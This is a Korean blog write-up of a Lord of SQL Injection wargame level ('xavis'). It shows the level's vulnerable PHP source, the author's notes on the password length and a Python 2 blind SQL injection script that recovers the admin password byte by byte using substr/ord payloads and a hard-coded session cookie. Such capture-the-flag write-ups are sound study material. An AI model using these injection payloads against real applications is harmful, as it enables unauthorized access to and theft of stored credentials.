WebHacking/Load Of Sql Injection
LOS navis
HSr00t
2018. 2. 15. 04:48
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | <?php include "./config.php"; login_chk(); dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); if(preg_match('/regex|like/i', $_GET[pw])) exit("HeHe"); $query = "select id from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysql_fetch_array(mysql_query($query)); if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; $result = @mysql_fetch_array(mysql_query($query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis"); highlight_file(__FILE__); ?> | cs |
정말 짜증나는 문제였다..
length를 이용하여서 pw를 확인해보면 40글자다.
대충 블라인드를 돌려보면 Hello admin이 걸리지않는다. 33 ~ 128 손으로 하나하나 큰지 작은지 비교를 하다보니 127보다 큰값이라고 나온다?
일단 코드를 짜면서 중간중간에 모르는 부분있으면 삽질 좀 하다가 write up을 보면서 풀었다.
40글자 기준으로 돌리다보면 11번째 글자부터 무조건 true로 나오는것을 볼수있는데 그것을 보고 아 비밀번호는 10글자인것을 알수있다.
40글자로 나오는 이유는 확장 아스키코드 한글자당 4byte이기때문? 인것같다. 4*10 == 40
write up을 보다가 정말 신기한것을 봤는데 비밀번호를 한번에 알수있는 방법이였다.
mysql,orace 둘다 변수를 만들어줄수있는데 그 변수에 내가 select하는 테이블 id,pw값을 저장할수있고 union을 이용하여서 그 변수를 출력해줄수있기 때문에 패스워드를 한번에 얻을수있다.
https://blog.pagez.kr/2017/04/18/mysql-user-variables-and-union-closure.html
http://sakuya.kr/130
http://b.fantazm.net/entry/LOS-xavis 블로그에서 사이트를 얻을수있었다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | import urllib2 j = 1 input_ = 128 #0 passwd = '' while(True): url = 'https://los.eagle-jump.org/xavis_fd4389515d6540477114ec3c79623afe.php?pw=\' or id=\'admin\' and ord(substr(pw,%d,1))=%d' %(j,input_) url += '%23' #print url req = urllib2.Request(url) req.add_header('User-Agent','Mozilla/5.0') req.add_header('cookie','PHPSESSID=p1fad2hverso8kg1fs3fndoof6') data = urllib2.urlopen(req).read() if '<h2>Hello admin</h2>' in data: passwd += chr(input_) j += 1 print 'Search Key is '+passwd print 'Search hex Key is %d'%(input_) if len(passwd) == 10: break input_= 128 else: input_+=0x1 print 'Key is '+passwd.encode('hex') | cs |